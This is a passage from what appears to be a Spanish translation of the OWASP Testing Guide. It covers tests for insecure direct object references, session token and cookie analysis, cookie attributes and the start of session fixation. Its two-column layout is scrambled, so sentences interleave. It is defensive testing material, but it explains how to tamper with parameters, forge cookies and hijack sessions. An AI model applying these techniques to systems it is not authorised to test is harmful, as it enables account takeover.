atacantes pueden omitir la autorización y acceder a recursos en el
sistema directamente, por ejemplo, registros de la base de datos o
archivos.
Las Referencias de Objetos Directos Inseguros permiten a los atacantes En este caso, el valor del parámetro de la factura se utiliza como un índice
omitir la autorización y acceder a los recursos modificando directamente en una tabla de facturas en la base de datos. La aplicación toma el valor de

125
este parámetro y lo utiliza en una consulta a la base de datos. La

aplicación, entonces, devuelve la información de la factura al usuario. http://foo.bar/showImage?img=img00011
Puesto que el valor de la factura va directamente a la consulta,

modificando el valor del parámetro es posible recuperar cualquier objeto
de facturas sin importar el usuario al que pertenece la factura. En este caso, el valor del parámetro de archivo se utiliza para indicar a la
aplicación qué archivo intenta recuperar el usuario. Proporcionando el
nombre o identificador de un archivo diferente (por ejemplo
file=image00012.jpg), el atacante podrá recuperar objetos pertenecientes
Para probar este caso, el evaluador debe obtener el identificador de la
a otros usuarios.
factura que pertenece a un usuario de prueba diferente (asegurando que
no se supone que ve esta información por la lógica del negocio de la
aplicación) y luego verificar si es posible acceder a los objetos sin
autorización. Para este caso, el evaluador debe obtener una referencia a la que el
usuario no debería poder acceder y tratar de entrar usando el valor de
parámetro del archivo. Nota: Esta vulnerabilidad se explota, a menudo, en
conjunción con una vulnerabilidad de directorio/ruta de circulación (ver
El valor de un parámetro se utiliza directamente para realizar una
pruebas para Ruta De circulación)
operación en el sistema
El valor de un parámetro se utiliza directamente para acceder a la
funcionalidad de la aplicación
http://foo.bar/changepassword?user=someuser
solicitud de muestra
http://foo.bar/accessPage?menuitem=12
En este caso, se utiliza el valor del parámetro de usuario para decirle a la

aplicación qué usuario debe cambiar la contraseña. En muchos casos, este
paso será una parte de un asistente o una operación multi-pasos. En el
primer paso, la aplicación enviará una petición que indica que el usuario
debe cambiar la contraseña y, en el siguiente paso, el usuario En este caso, el valor del parámetro menuitem se utiliza para indicar a la
proporcionará una nueva contraseña (sin pedir la contraseña actual). aplicación qué objeto del menú (y, por lo tanto, qué funcionalidad de la
aplicación) está intentando acceder el usuario. Asuma que el usuario está
supuestamente restringido y, por lo tanto, tiene enlaces disponibles sólo
para acceder al menú 1, 2 y 3. Modificando el valor del parámetro
El parámetro de usuario se utiliza para hacer referencia directamente al
menuitem, es posible eludir la autorización y acceder a la funcionalidad
objeto del usuario para quien se realizará la operación de cambio de
de la aplicación adicional. Para este caso, el evaluador identifica un lugar
contraseña. Para probar este caso, el evaluador debe intentar
donde se determina la funcionalidad de la aplicación por referencia a un
proporcionar un nombre de usuario de prueba diferente al que está
elemento de menú, crea un mapa de los valores de los elementos del
registrado y comprobar si es posible modificar la contraseña de otro
menú a los que el usuario de prueba tiene acceso y luego intenta acceder
usuario.
a otros elementos de menú.
El valor de un parámetro se utiliza directamente para recuperar un

En los ejemplos anteriores, la modificación de un solo parámetro es
archivo de recursos del sistema:
suficiente. Sin embargo, a veces la referencia de objeto se puede dividir
entre más de un parámetro, y la prueba debe ajustarse en consecuencia.
Referencias

126
OWASP Top 10 2013-A4-Insecure Direct Object References atacante que es capaz de predecir y falsificar una cookie débil, fácilmente
puede secuestrar las sesiones de usuarios legítimos.
Pruebas de la gestión de sesión

Las cookies se utilizan para implementar la gestión de la sesión y se
Uno de los componentes básicos de cualquier aplicación basada en la web describen en detalle en el RFC 2965. En resumen, cuando un usuario
es el mecanismo que controla y mantiene el estado de un usuario para accede a una aplicación que necesita hacer seguimiento de las acciones y
interactuar con él. Esto se refiere a aquello como gestión de sesiones y se la identidad de ese usuario a través de múltiples peticiones, una cookie (o
define como el conjunto de todos los controles que rigen el estado cookies) son generadas por el servidor y enviadas al cliente. El cliente
completo de interacción entre un usuario y la aplicación basada en la enviará la cookie al servidor en todas las conexiones siguientes hasta que
web. Esto cubre ampliamente cualquier cosa, desde cómo se realiza la esta expire o se destruya. Los datos almacenados en la cookie pueden
autenticación del usuario, a lo que sucede al salir del sistema. proporcionar al servidor un gran abanico de información sobre quién es
el usuario, qué acciones ha realizado hasta ahora, cuáles son sus
preferencias, etc.; por lo tanto, le da un estado a un protocolo sin estado
como es HTTP.
HTTP es un protocolo sin estado, lo que significa que los servidores web
responden a solicitudes de clientes sin vincularlos entre sí. Incluso la
lógica de la aplicación más simple requiere que múltiples solicitudes de
un usuario se asocien entre sí dentro de una "sesión". Esto requiere Un ejemplo típico es proporcionado por un carrito de compras en línea.
soluciones de terceros – a través de cualquier middleware estándar y Durante toda la sesión de un usuario, la aplicación debe hacer un
soluciones de servidor web sacadas de la percha (Off The Shelf)(OTS), o seguimiento de su identidad, su perfil, los productos que ha elegido para
con una implementación de un desarrollador hecha a la medida. Los más comprar, la cantidad, los precios individuales, descuentos, etc.. Las
populares entornos de aplicaciones web, como ASP y PHP, proporcionan cookies son una manera eficiente de almacenar y transmitir esta
a los desarrolladores rutinas de sesión incorporada. Algún tipo de ficha información una y otra vez (otros métodos son parámetros de URL y
de identificación normalmente se emitirá, y se denominará "Identificador campos ocultos).
de sesión" o Cookie.
Debido a la importancia de los datos que almacenan, las cookies son

Hay numerosas maneras en que una aplicación web puede interactuar vitales para la seguridad general de la aplicación. Poder manipular las
con un usuario. Cada una depende de la naturaleza de los requerimientos cookies puede resultar en un secuestro de las sesiones de usuarios
del sitio, la seguridad y la disponibilidad de la aplicación. Mientras hayan legítimos, obtener mayores privilegios en una sesión activa y, en general,
aceptado las mejores prácticas para desarrollo de aplicaciones, tales influir en las operaciones de la aplicación de una manera no autorizada.
como las descritas en la guía de OWASP Construyendo Aplicaciónes Web
Seguras, es importante que se considere la seguridad de las aplicaciones
en el contexto de las necesidades y expectativas del proveedor.
En esta prueba, el evaluador podrá comprobar si las cookies emitidas a los
clientes pueden resistirse a una amplia gama de ataques dirigidos a
interferir con las sesiones de usuarios legítimos y con la propia
Pruebas del esquema de gestión de sesión (OTG-SESS-001) aplicación. El objetivo general es ser capaces de falsificar una cookie que
sea considerada válida por la aplicación y que proporcione algún tipo de
Resumen acceso no autorizado (secuestro de sesión, escalada de privilegios,...).
Para evitar la autenticación continua para cada página de un sitio web o

servicio, las aplicaciones web implementan diversos mecanismos para
almacenar y validar las credenciales durante un intervalo de tiempo Generalmente, los pasos principales del patrón de ataque son los
determinado. Estos mecanismos se conocen como manejo de sesiones y siguientes:
aunque son importantes para aumentar la facilidad del uso de la
aplicación y amigables con el usuario, pueden ser aprovechados por un
evaluador de penetración para obtener acceso a una cuenta de usuario,
sin necesidad de proporcionar las credenciales correctas. • Recolección de cookies: recolectar un número suficiente de muestras de cookies.
• Ingeniería inversa de cookies: análisis del algoritmo de generación de cookies.
En esta prueba, el evaluador debe comprobar que las cookies y otras

fichas de sesión se crean de una manera segura e impredecible. Un

127
• Manipulación de cookies: falsificar una cookie válida para llevar a cabo el ataque. Navegue por la aplicación. Note cuándo se crean las cookies. Haga una
Este último paso podría requerir un gran número de intentos, dependiendo de cómo lista de las cookies recibidas, la página que las establece (con la directiva
la cookie haya sido creada (ataque de fuerza bruta de cookie). set-cookie), el dominio para el cual son válidas, su valor y sus
características.
Otro patrón de ataque consiste en desbordar una cookie. Estrictamente

hablando, este ataque tiene una naturaleza diferente, ya que aquí los ¿• ué partes de la aplicación generan o modifican la cookie?
evaluadores no intentan recrear una cookie perfectamente válida. En
cambio, el objetivo es desbordar un área de memoria, interfiriendo así
con el comportamiento correcto de la aplicación y posiblemente
inyectando (y ejecutando remotamente) un código malicioso. Navegando por la aplicación, encuentre qué cookies se mantienen
constantes y cuáles se han modificado.
Cómo probar
¿Qué eventos modificaron la cookie?
Prueba de Caja Negra y ejemplos
Toda interacción entre el cliente y la aplicación debe ser probada, al

menos contra los siguientes criterios: • ¿ ué partes de la aplicación requiere esta cookie para ser accesible y
utilizarla?
• ¿Están todas las directivas Set-Cookie etiquetadas como seguras?

Averigue qué partes de la aplicación necesitan una cookie. Acceda a una
• ¿Cualquier operación de cookie se lleva a cabo en un transporte no encriptado? página, inténtelo de nuevo sin la cookie, o con un valor modificado de ella.
Trate de crear un mapa para las cookies que se utilizan.
• ¿Puede la cookie ser forzada en un transporte no encriptado?
• Si es así, ¿cómo mantiene la aplicación la seguridad?

Una hoja de cálculo que marca cada cookie a las partes correspondientes
• ¿Hay cookies persistentes? de la aplicación y la información relacionada puede ser una informacion
valiosa obtenida de esta fase.
• ¿ ué tiempos para la caducidad se utilizan en las cookies persistentes y son estos
razonables?.
• ¿Son las cookies que se esperan sean transitorias configuradas como tal? Análisis de la sesión
• ¿ ué ajustes HTTP/1.1 Cache-Control se utilizan para proteger las cookies? Las fichas (tokens) de sesión (cookies, ID de la sesión o campo oculto)
deben ser examinadas para asegurar su calidad desde una perspectiva de
• ¿ ué ajustes HTTP/1.0 Cache-Control se utilizan para proteger las cookies? seguridad. Deben ser evaluadas según criterios como su aleatoriedad,
singularidad, resistencia al análisis estadístico y criptográfico y fuga de
información.
Colección de cookies
El primer paso requerido para manipular una cookie es entender cómo la Estructura de los indicadores y fuga de información
aplicación crea y gestiona las cookies. Para esta tarea, los evaluadores
tienen que intentar contestar las siguientes preguntas: La primera etapa es examinar la estructura y el contenido de un
Identificador de Sesión proporcionada por la aplicación. Un error común
es incluir datos específicos en el indicador, en lugar de emitir un valor
genérico y hacer referencia a datos reales en el lado del servidor.
• ¿Cuántas cookies son utilizadas por la aplicación?
Si la identidad de sesión es texto visible, la estructura y los datos

pertinentes pueden ser inmediatamente evidentes, como a continuación:

128
Si se identifican elementos estáticos en las fichas, más muestras deben

http://foo.bar/showImage?img=img00011 recogerse, variando un elemento de entrada potencial a la vez. Por
ejemplo, intentos de registro a través de una cuenta de usuario diferente
o desde una dirección IP diferente pueden producir una variación en la
parte anteriormente estática de la ficha de la sesión.
Si parte de o toda la ficha parece estar en código o hash, se debe comparar

con distintas técnicas para verificar la ofuscación obvia. Por ejemplo, la Las siguientes áreas deberían ser analizadas durante la prueba de
cadena "192.168.100.1:owaspuser:password:15:58" está representada en estructura de una o varias Identificadores de sesión:
Hexadecimal, Base64 y con un hash MD5:
Hex 3139322E3136382E3130302E313A6F77617370757 • ¿ ué partes del identificador de sesión son estáticas?
365723A70617373776F72643A31353A3538 • ¿ ué información confidencial en texto claro se almacena en el

identificador de sesión? Por ejemplo, nombres de usuario/UID, direcciones IP.
Base64 MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6c
• ¿ ue información confidencial fácilmente decodificable se almacena?
GFzc3dvcmQ6MTU6NTg=
• ¿ ué información puede deducirse de la estructura del identificador de
MD5 01c2fc4f0a817afd8366689bd29dd40a sesión?
• ¿ ué partes del identificador de sesión son estáticas para las mismas

condiciones de registro?
Una vez identificado el tipo de ofuscación, es posible descifrar los datos • ¿ ué patrones obvios están presentes en el identificador de sesión como un
originales. En la mayoría de los casos, sin embargo, esto es improbable. todo o en porciones individuales?
De todas formas, puede ser útil enumerar la codificación en el sitio desde
el formato del mensaje. Además, si se deduce la técnica del formato y de
la ofuscación, podrían realizarse ataques de fuerza bruta automatizados.
Previsibilidad y aleatoriedad del identificador de sesión
El análisis de las zonas variables (si las hay) del identificador de sesión
Las fichas hibridas pueden incluir información como dirección IP o ID de deberían realizarse para establecer la existencia de cualquier patrón
usuario junto con una porción codificada, como los siguientes: reconocible o predecible. Estos análisis pueden ser realizados
manualmente y con herramientas diseñadas a la medida u OTS
estadísticas o de criptoanálisis para deducir cualquier patrón en el
owaspuser:192.168.100.1: contenido del identificador de sesión. Los controles manuales deberían
incluir comparaciones del identificador de sesión emitidas con las
a7656fafe94dae72b1e1487670148412 mismas condiciones del inicio de sesión; por ejemplo, el mismo nombre
de usuario, contraseña y dirección IP.
El tiempo es un factor importante que también debe ser controlado. Un

Tras haber analizado una ficha de sesión individual, debe examinarse la alto número de conexiones simultáneas deben realizarse con el fin de
muestra representativa. Un análisis simple de las fichas debe revelar recoger las muestras en la misma ventana de tiempo y mantener esa
inmediatamente cualquier patrón obvio. Por ejemplo, un token de 32 bits variable constante. Incluso una cuantización de 50ms o menor puede ser
puede incluir un token de 16 bits de datos estáticos y uno de 16 bits de demasiado amplia, y una muestra tomada de esta manera puede revelar
datos variables. Esto puede indicar que los primeros 16 bits representan componentes basados en el tiempo que de otra manera se pasarían por
un atributo fijo del usuario – por ejemplo, el nombre de usuario o alto.
dirección IP. Si el segundo campo de 16 bits se incrementa a un ritmo
regular, esto puede indicar un elemento secuencial o incluso basado en el
tiempo a la generación de la ficha. Vea ejemplos.
Los elementos variables deben ser analizados en el tiempo para
determinar si son incrementales por naturaleza. Donde son
incrementales, los patrones en relación al tiempo transcurrido, sea
129
absoluto o relativo, deben ser investigados. Muchos sistemas utilizan al sesión). Para hacer una cookie impredecible, pueden utilizarse valores
tiempo como una semilla para sus elementos seudoaleatorios. aleatorios o criptografía.
Donde los patrones son aparentemente al azar, hashes unidireccionales

de tiempo u otras variaciones ambientales deben considerarse como una
posibilidad. Típicamente, el resultado de un hash criptográfico es un [2] Resistencia a la manipulación: una cookie debe resistir los intentos
número decimal o hexadecimal, así que, debe ser identificable. maliciosos de modificación. Si el evaluador recibe una cookie como
IsAdmin = No, es trivial modificarla para obtener derechos
administrativos, a menos que la aplicación realice una doble revisión (por
ejemplo, agregando a la cookie un hash cifrado de su valor).
En el análisis de secuencias del identificador de sesión, patrones o ciclos,
elementos estáticos y las dependencias del cliente, todo debe
considerarse como posibles elementos que aporten a la estructura y
función de la aplicación. [3] Vencimiento: una cookie crítica debe ser válida sólo para un período
de tiempo adecuado y debe ser eliminada del disco o memoria para evitar
el riesgo de ser reproducida. Esto no aplica a las cookies que almacenan
los datos no críticos que necesitan ser recordados a través de sesiones
• ¿Son los identificadores de sesión probadamente al azar en su (por ejemplo, el sitio look-and-feel).
naturaleza? ¿Se pueden reproducir los valores resultantes?
• ¿Las mismas condiciones de entrada producen el mismo ID en una

ejecución posterior? [4] Marcador "seguro": una cookie cuyo valor es crítico para la integridad
de la sesión debe tener esta opción habilitada para permitir su
• ¿Son los identificadores de sesión probadamente resistentes a las transmisión en un canal cifrado y así impedir su obtención por
estadísticas o el criptoanálisis? casualidad.
• ¿Qué elementos de los identificadores de sesión están vinculados al

tiempo?
El enfoque aquí es recoger un número suficiente de instancias de una
• ¿Qué porciones de los identificadores de sesión son predecibles? cookie y empezar a buscar patrones en su valor. El significado exacto de
"suficiente" puede variar de un puñado de muestras si el método de
• ¿Puede deducirse el siguiente ID, dado el conocimiento pleno del generación de galletas es muy fácil de romper, a varios miles si el
algoritmo de generación y ID anteriores? evaluador debe realizar algunos análisis matemáticos (por ejemplo,
atractores chi-square. Vea más adelante para mayor información).
Ingeniería inversa de Cookies

Es importante prestar especial atención al flujo de trabajo de la
Ahora que el evaluador ha enumerado las cookies y tiene una idea general aplicación, cómo el estado de una sesión puede tener un impacto pesado
de su uso, es el momento de echar un vistazo más profundo a las cookies en cookies recogidas. Una cookie recogida antes de ser autenticada puede
que parecen interesantes. ¿Qué cookies interesan al evaluador? Una ser muy diferente de una cookie obtenida después de la autenticación.
cookie, con el fin de proporcionar un método seguro de administración de
sesiones, debe combinar varias características, que tienen como objetivo
proteger la cookie de una clase diferente de ataques.
Otro aspecto a tener en cuenta es el tiempo. Siempre anote el tiempo
exacto cuando se ha obtenido una cookie, cuando existe la posibilidad de
que el tiempo juegue un papel en el valor de la misma (el servidor podría
Estas características se resumen a continuación: utilizar un sello de tiempo como parte del valor de la cookie).
[1] Imprevisibilidad: una cookie debe contener cierta cantidad de datos El tiempo registrado podría ser la hora local o la marca de tiempo del
dificiles de adivinar. Mientras más difícil sea falsificar una cookie válida, servidor incluido en la respuesta HTTP (o ambos).
más difícil será entrar en la sesión de un usuario legítimo. Si un atacante
puede adivinar la cookie utilizada en una sesión activa de un usuario
legítimo, podrán suplantar totalmente a ese usuario (secuestro de

130
Al analizar los valores recogidos, el evaluador debe intentar averiguar

todas las variables que podrían influir en el valor de la cookie e intentar 0123456789abcdef
cambiarlos uno a la vez. Ver las nuevas versiones de la misma cookie
modificadas por el servidor puede ser muy útil para entender cómo la
aplicación lee y procesa la cookie.
Ejemplos de controles que pueden realizarse en esta etapa incluyen:

Ataques de fuerza bruta
Los ataques de fuerza bruta inevitablemente nacen de las preguntas

• ¿Qué caracteres se utilizan en la cookie? ¿Tiene la cookie un valor relativas a la predictibilidad y aleatoriedad.
numérico?, ¿alfanumérico?, ¿hexadecimal? ¿Qué sucede si el evaluador
inserta en una cookie caracteres que no pertenecen o no se esperan en el
conjunto?
La varianza dentro de los identificadores de sesión debe ser considerada
• ¿Está la cookie compuesta de diferentes subpartes que llevan diferentes junto con la duración y tiempos de espera de la sesión de la aplicación. Si
piezas de información? ¿Cómo se separan las diferentes partes?, ¿con que la variación dentro de los identificadores de sesión es relativamente
delimitadores? Algunas partes de la cookie podrían tener una variación pequeña, y la validez del identificador de sesión es larga, la probabilidad
mayor, otras pueden ser constantes, otras podrían suponer sólo un de un ataque de fuerza bruta exitoso es mucho mayor.
conjunto limitado de valores. Romper las cookies a sus componentes base
es el primer paso y el más fundamental de todos.
Un identificador de sesión largo (o más bien uno con una gran cantidad
de varianza) y un período de validez más corto, haria mucho más difícil
Un ejemplo de una cookie estructurada fácil de ubicar es el siguiente: tener éxito en un ataque de fuerza bruta.
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=11205145
• ¿Cuánto tiempo tomaría un ataque de fuerza bruta en todos los posibles
21:S=j3am5KzC4v01ba3q identificadores de sesión?
• ¿Es el espacio del identificador de sesión lo suficientemente grande para

evitar un ataque de fuerza bruta? ¿Por ejemplo, la longitud de la clave es
suficiente en comparación con el tiempo de vida útil?
Este ejemplo muestra cinco campos diferentes, que llevan diferentes • ¿El retraso entre los intentos de conexión con diferentes identificadores de
tipos de información: sesión mitigan el riesgo de este ataque?
ID – hexadecimal
CR – entero pequeño
Si el evaluador tiene acceso al esquema de gestión de sesión de la
TM y LM – entero grande ( y curiosamente tienen el mismo valor. aplicación, puede comprobar lo siguiente:
Vale la pena ver lo que ocurre al modificar uno de ellos).
S – alfanumérico
• Sesión con una ficha al azar
El identificador de sesión o cookie emitido al cliente no debe ser

fácilmente predecible (no utilice algoritmos lineales basados en variables
predecibles como la dirección IP del cliente). Se recomienda el uso de
Incluso cuando no se utilizan caracteres delimitadores, tener suficientes algoritmos criptográficos con longitud de clave de 256 bits (como AES).
muestras puede ayudar. Como ejemplo, echemos un vistazo a la serie
siguiente:

131
• Longitud de la ficha • Correlation Coefficient: mathworld.wolfram.com
El identificador de sesión debe tener una longitud de al menos 50 • Darrin Barrall: “Automated Cookie Analysis”: rmccurdy.com
caracteres.
• ENT: fourmilab.ch
• seclists.org
• Duración de la sesión
• Gunter Ollmann: “Web Based Session Management” - technicalinfo.net
La ficha de sesión debe tener una duración definida (que depende de la
criticidad de los datos de la aplicación administrada). • Matteo Meucci:”MMS Spoofing”: owasp.org
• Configuración de cookies: Videos
• non-persistent: solo en memoria RAM • Session Hijacking in Webgoat Lesson: yehg.net
• secure (configure solo en canal HTTPS):
Set Cookie: cookie=data; path=/; domain=.aaa.it; secure Actividades de seguridad relacionadas
• HTTPOnly (no legible mediante un script): Descripción de las vulnerabilidades en la gestión de sesión
Set Cookie: cookie=data; path=/; domain=.aaa.it; HTTPOnly Vea los artículos sobre vulnerabilidades en la gestión de la sesión OWASP.
Mas información aquí: Probando los atributos de las cookies Descripción de las defensas de la gestión de sesión
Vea los artículos sobre las defensas de la gestión de sesión de OWASP.
Herramientas
• OWASP Zed Attack Proxy Project (ZAP): owasp.org - features a session Cómo evitar las vulnerabilidades de la gestión de sesión
token analysis mechanism.
Vea los artículos sobre cómo evitar las vulnerabilidades de la gestión de
• Burp Sequencer: portswigger.net sesión de OWASP.
• Foundstone CookieDigger: mcafee.com
• YEHG’s JHijack: owasp.org Cómo revisar el código en busca de vulnerabilidades en la gestión de sesión
Vea los artículos sobre cómo revisar el código en busca de

vulnerabilidades en la gestión de sesión OWASP.
Referencias
Libros Blancos
Pruebas de los atributos de las cookies (OTG-SESS-002)
• RFC 2965 “HTTP State Management Mechanism”
Resumen
• RFC 1750 “Randomness Recommendations for Security”
Las cookies son a menudo un vector de ataque clave para usuarios
• Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number maliciosos (normalmente dirigidas hacia otros usuarios) y la aplicación
Analysis” (2001): lcamtuf.coredump.cx siempre debe tomar las debidas diligencias para proteger las cookies. Esta
sección examina cómo una aplicación puede tomar las precauciones
• Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number necesarias al asignar las cookies y cómo se prueba que estos atributos se
Analysis - One Year Later” (2002): lcamtuf.coredump.cx han configurado correctamente.

132
comprar y sus datos auxiliares (es decir, precio y cantidad) en el tipo de

aplicación de tienda en línea.
La importancia del uso seguro de las cookies no puede estar subestimada,
especialmente en aplicaciones web dinámicas, que necesitan mantener el
estado a través de un protocolo sin estado como HTTP. Para entender la
importancia de las cookies, es imprescindible entender para qué se usan Una vez que el evaluador tiene una comprensión de cómo se establecen
principalmente. Dentro de las funciones primarias se encuentran, las cookies, cuándo se configuran, para qué se utilizan, por qué se utilizan
generalmente, las de ser utilizadas como una autorización de sesión y y su importancia, debería echar un vistazo a qué atributos se pueden
ficha de autenticación o como un contenedor de datos temporales. Así, si establecer en una cookie y cómo comprobar si son seguras. La siguiente
un atacante pudiera adquirir una ficha de sesión (por ejemplo, mediante es una lista de los atributos que se pueden establecer para cada cookie y
la explotación de una vulnerabilidad en un script de sitios cruzados o por lo que significan. La siguiente sección se centrará en cómo probar para
olfatear una sesión no encriptada), entonces podría utilizar esta cookie cada atributo.
para secuestrar una sesión válida.
• Segura - este atributo indica al navegador que sólo envíe la cookie si la

Además, las cookies se establecen para mantener el estado entre varias solicitud se remite mediante un canal seguro como HTTPS. Esto ayudará a
solicitudes. Dado que HTTP no tiene estado, el servidor no puede proteger el envio de la cookie por solicitudes no encriptadas. Si se puede acceder
determinar si una solicitud que recibe es parte de una sesión actual o el a la aplicación a través de HTTP y HTTPS, entonces existe la posibilidad de que
comienzo de una nueva sesión sin ningún tipo de identificador. Este la cookie pueda mandarse en texto limpio.
identificador es muy comúnmente una cookie, aunque también son
posibles otros métodos. Hay muchos tipos diferentes de aplicaciones que • HttpOnly - este atributo se utiliza para ayudar a prevenir ataques como cross-
necesitan hacer un seguimiento del estado de la sesión a través de site scripting, ya que no permite que puedan acceder a la cookie a través de un
múltiples solicitudes. La primera que viene a la mente es una tienda script del lado del cliente como JavaScript. Tenga en cuenta que no todos los
online. navegadores admiten esta funcionalidad.
• Dominio - este atributo se utiliza para comparar contra el dominio del servidor
en el que se solicita la dirección URL. Si el dominio coincide o si es un
Mientras un usuario añade varios elementos a un carro de compras, estos subdominio, entonces el atributo de ruta de acceso se comprobará a
datos deben conservarse en las solicitudes posteriores a la aplicación. Las continuación.
cookies son muy utilizadas para esta tarea y son configuradas por la
aplicación utilizando la directiva Set-Cookie en la respuesta HTTP de la
aplicación y está generalmente en un formato name=value (si las cookies
Note que sólo los hosts dentro del dominio especificado pueden
se encuentran activadas y si son compatibles, como es el caso para todos
establecer una cookie para ese dominio. También note que el atributo del
los navegadores modernos). Una vez que una aplicación le ha dicho al
dominio no puede ser un dominio de nivel superior (como .gov o .com)
navegador que utilice una cookie determinada, el navegador enviará esta
para evitar que los servidores configuren arbitrariamente cookies para
cookie en cada solicitud subsiguiente. Una cookie puede contener datos
otro dominio. Si no se establece el atributo de dominio, el nombre del
tales como los elementos de un carro de compras en línea, el precio de
servidor host que genera la cookie se utiliza como el valor por defecto del
estos artículos, la cantidad de estos artículos, información personal,
dominio.
identificador de usuarios, etc.
Por ejemplo, si se configura una cookie mediante una aplicación en

Debido a la naturaleza sensible de la información dentro de las cookies,
app.mydomain.com sin ningún conjunto de atributos de dominio, la
normalmente son codificadas o encriptadas en un intento de proteger la
cookie será reenviada, para todas las solicitudes posteriores de
información que contienen. A menudo, múltiples cookies pueden ser
app.mydomain.com y sus subdominios (por ejemplo,
configuradas (separadas por un punto y coma) para las solicitudes
hacker.app.mydomain.com), pero no a otherapp.mydomain.com. Si un
subsiguientes. Por ejemplo, en el caso de una tienda online, una nueva
desarrollador desea liberar esta restricción, entonces puede establecer el
cookie podría establecerse al momento que el usuario agrega varios
atributo de dominio a midominio.com. En este caso la cookie sería
elementos al carro de compras.
enviada a todas las peticiones de app.mydomain.com y sus subdominios,
como hacker.app.mydomain.com e incluso bank.mydomain.com.
Además, normalmente habrá una cookie de autenticación (ficha de sesión

como se indica arriba) una vez que el usuario se conecta y múltiples otras
Si hubiera un servidor vulnerable en un subdominio (por ejemplo,
cookies que se utilizan para identificar los elementos que el usuario desea
otherapp.mydomain.com) y el atributo del dominio se ha establecido muy

133
ligeramente (por ejemplo midominio.com), entonces el servidor permitiría a un atacante utilizar un servidor vulnerable en el dominio para
vulnerable podría ser utilizado para cosechar las cookies (como las fichas cosechar la cookie del usuario a través de una vulnerabilidad como XSS.
de sesión).
• Atributo de Ruta - Verifique que el atributo de ruta, así como el atributo del
dominio, no han sido establecidos muy libremente. Incluso si el atributo del
dominio ha sido configurado tan firmemente como es posible, si la ruta de
• Ruta (path) - Además del dominio, la ruta de la URL en la que la cookie es acceso se establece hacia el directorio raíz "/" entonces puede ser vulnerable a
válida puede especificarse. Si coincide el dominio y la ruta, la cookie se aplicaciones menos seguras en el mismo servidor. Por ejemplo, si la aplicación
enviará en la solicitud. Al igual que con el atributo de dominio, si se reside en /myapp/, compruebe que la ruta de cookies está ajustada a
establece el atributo de ruta de acceso muy ligeramente, entonces podría ";path=/myapp/" y no a ";path =/" o ";path =/myapp". Note aquí que el ruteador
dejar a la aplicación vulnerable a los ataques de otras aplicaciones en el "/" debe ser utilizado después de myapp. Si no se utiliza, el navegador enviará la
mismo servidor. cookie a cualquier ruta que coincida con "myapp", tal como "myapp-exploited".
Por ejemplo, si el atributo de la ruta de acceso se establece en la raíz del • Atributo de Caducidad - Si este atributo se establece en un momento en el
servidor web "/", entonces se enviarán las cookies de la aplicación para cada futuro, verifique que la cookie no contenga ninguna información sensible. Por
aplicación dentro del mismo dominio. ejemplo, si una cookie se establece en “; expires=Sun, 31-Jul-2016 13:45:29
GMT” y actualmente es 31 de julio de 2014, entonces el evaluador debe
• caduca (expires) - este atributo se utiliza para configurar cookies inspeccionar la cookie. Si la cookie es una ficha de sesión que se almacena en el
persistentes, puesto que la cookie no caduca hasta que se supera la fecha disco duro del usuario, entonces un atacante o un usuario local (como un
establecida. Esta cookie persistente se utilizará en esta sesión y en sesiones administrador) que tiene acceso a esta cookie puede acceder a la aplicación
posteriores hasta que la cookie caduque. Una vez que ha superado la fecha reenviando esta ficha hasta que pase la fecha de caducidad.
de caducidad, el navegador borrará la cookie. Alternativamente, si no se
establece este atributo, entonces la cookie sólo es válida en la sesión actual
del navegador y la cookie se eliminará cuando finalice la sesión.
Herramientas
Intercepting Proxy:
Cómo probar
• OWASP Zed Attack Proxy Project
Probar las vulnerabilidades de los atributos de una cookie: Usando un

proxy interceptor o un plug-in interceptor de tráfico del navegador, Browser Plug-in:
atrape todas las respuestas que una cookie tiene establecidas por la
aplicación (use la directiva Set-cookie) y revise la cookie en busca de lo • “TamperIE” for Internet Explorer: bayden.com
siguiente:
• Adam Judson: “Tamper Data” for Firefox: addons.mozilla.org
• Atributo seguro - cada vez que una cookie contiene información sensible o es
una ficha de sesión, siempre debe ser pasada mediante un túnel encriptado. Por Referencias
ejemplo, después de iniciar la sesión en una aplicación y haber establecido una
Libros Blancos
ficha de sesión mediante una cookie, verifique si está etiquetada con una bandera
de "seguridad";. Si no es así, entonces el navegador estará de acuerdo en pasar a
• RFC 2965 - HTTP State Management Mechanism: tools.ietf.org
través de un canal sin encriptar, usando HTTP, y esto podría permitir a un
atacante dirigir a los usuarios a enviar sus cookies por un canal inseguro.
• RFC 2616 - Hypertext Transfer Protocol - HTTP 1.1: tools.ietf.org
• Atributo HttpOnly - Este atributo debería fijarse siempre, a pesar de que no
• The important “expires” attribute of Set-Cookie
todos los navegadores lo soportan. Este atributo ayuda a proteger la cookie del
http://seckb.yehg.net/2012/02/important-expires-attribute-of-set.html
acceso de un script del lado del cliente, no elimina el riesgo de scripts de sitios
cruzados, pero elimina algunos vectores de explotación. Verifique si la etiqueta
• HttpOnly Session ID in URL and Page Body
"HttpOnly" ha sido fijada.
http://seckb.yehg.net/2012/06/httponly-session-id-in-url-and-page.html
• Atributo del Dominio - Verifique que el dominio no ha sido establecido muy

libremente. Como se señaló anteriormente, sólo debe establecerse para el
servidor que necesita recibir la cookie. Por ejemplo, si la aplicación reside en el
Pruebas de Fijación de Sesión (OTG-SESS-003)
servidor app.mysite.com, entonces debe establecerse en
";domain=app.mysite.com"y no en ";domain=.mysite.com" ya que esto le
134
Breve resumen Él obtendrá la siguente respuesta
Cuando una aplicación no renueva su(s) cookie(s) de sesión después de

HTTP/1.1 200 OK
una autenticación exitosa, podría ser posible encontrar una
vulnerabilidad de fijación de sesión y forzar a un usuario a utilizar una
Date: Wed, 14 Aug 2008 08:45:11 GMT
cookie conocida por el atacante. En ese caso, un atacante podría robar la
sesión del usuario (secuestro de sesión). Server: IBM_HTTP_Server
Set-Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1;
Path=/; secure
Las vulnerabilidades de fijación de sesión ocurren cuando:
Cache-Control: no-cache=”set-cookie,set-cookie2”
Expires: Thu, 01 Dec 1994 16:00:00 GMT

• Una aplicación web autentica a un usuario sin invalidar primero el ID de
Keep-Alive: timeout=5, max=100
sesión existente, de tal modo que continúa usando el identificador de sesión
ya asociado con el usuario. Connection: Keep-Alive
• Un atacante es capaz de forzar un Identificador de sesión conocido sobre Content-Type: text/html;charset=Cp1254

un usuario para que, una vez que el usuario se autentica, el atacante tenga
acceso a la sesión autenticada.
La aplicación fija un nuevo identificador de sesión
